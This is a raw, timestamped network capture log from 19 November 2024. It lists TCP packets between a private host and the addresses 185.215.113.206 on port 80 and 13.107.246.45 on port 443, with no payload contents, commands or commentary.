Nov 19, 2024 20:05:26.250890970 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.250963926 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.250977039 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.250988007 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251000881 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251014948 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251019001 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251027107 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251039028 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251044989 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251071930 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251084089 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251168966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251210928 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251280069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251292944 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251306057 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251326084 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251327991 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251339912 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251352072 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251353025 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251365900 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251377106 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251378059 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251400948 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251425028 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251580954 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251591921 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251604080 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251627922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251630068 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251641035 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251652956 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251656055 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251666069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251678944 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251682997 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251686096 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251693964 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251703978 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251710892 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251754045 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251817942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251861095 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251940966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251955032 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251966953 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251979113 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.251991034 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.251991987 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252006054 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252011061 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.252018929 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252031088 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252041101 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.252043009 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252055883 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252058983 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.252082109 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.252100945 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.252260923 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.252316952 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287511110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287534952 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287547112 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287585974 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287612915 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287617922 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287626028 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287656069 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287683964 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287686110 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287698030 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287709951 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287724018 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287743092 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287754059 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287789106 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287801981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287815094 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287827015 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287841082 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287861109 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287920952 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287940025 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.287959099 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287978888 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.287997961 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288011074 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288024902 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288038015 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288045883 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288050890 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288078070 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288099051 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288120031 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288189888 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288202047 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288213968 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288224936 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288230896 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288269043 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288294077 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288331032 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288358927 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288369894 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288403034 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288415909 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288441896 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288454056 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288465977 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288477898 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288496017 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288531065 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288590908 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288604021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288636923 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288647890 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288659096 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288672924 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288702965 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288722992 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288762093 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288774014 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288785934 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288798094 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.288816929 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.288861990 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.291963100 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.298125029 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298149109 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298161983 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298185110 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298218012 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298244953 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298259020 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298270941 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298316956 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298336029 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298346043 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298358917 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298372030 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298402071 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298427105 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298495054 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298507929 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298521042 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298538923 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298541069 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298551083 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.298563004 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.298594952 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.301419020 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.301433086 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.306739092 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.306762934 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.307578087 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.307584047 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.308077097 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.308089972 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.309982061 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.309990883 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.310509920 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.310543060 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.311108112 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.311115980 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.335581064 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335629940 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.335643053 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335656881 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335669041 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335685015 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.335721016 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.335752010 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.335755110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335767984 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335778952 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.335788965 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.335828066 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336359978 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336397886 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336400986 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336414099 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336433887 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336447954 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336544037 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336555958 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336569071 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336575985 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336581945 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336582899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336622000 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336692095 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336726904 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336739063 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336750984 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336787939 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336812973 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336838007 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336850882 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336863995 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336874008 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336874962 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.336894989 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.336913109 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337037086 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337049961 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337060928 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337071896 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337073088 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337085962 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337095976 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337101936 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337107897 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337145090 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337222099 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337239027 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.337249994 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.337256908 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337259054 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337271929 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337301016 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337317944 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337361097 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337373972 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337388039 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337394953 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337413073 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337431908 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337481022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337492943 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337513924 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337527037 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337528944 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337539911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337558031 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337574959 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337663889 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337677002 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337688923 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337697983 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337701082 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337714911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337716103 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337733984 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337763071 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337815046 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337827921 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337847948 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337867022 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337877035 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337889910 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337902069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337913990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337915897 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337925911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.337937117 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.337965965 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338175058 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338186979 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338200092 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338212013 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338222027 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338224888 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338238955 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338251114 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338255882 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338263988 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338274002 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338296890 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338325024 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338466883 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338479996 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338493109 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338504076 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338509083 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338516951 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338524103 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338527918 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.338546038 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338576078 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.338612080 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.338618040 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.373758078 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373779058 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373806000 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373836994 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373863935 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.373886108 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373895884 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.373923063 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.373945951 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373959064 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373971939 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.373986006 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374005079 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374016047 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374047041 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374058962 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374104977 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374133110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374145031 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374161959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374250889 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374263048 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374275923 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374286890 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374408960 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374420881 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374425888 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374433041 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374445915 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374445915 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374459028 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374471903 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374475002 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374484062 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374505043 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374525070 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374625921 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374654055 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374663115 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374665022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374700069 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374761105 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374773026 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374784946 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374798059 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374804020 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374831915 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374854088 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.374867916 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374878883 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374943018 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374957085 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374969959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.374980927 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.375089884 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.375103951 CET	80	49718	185.215.113.206	192.168.2.7
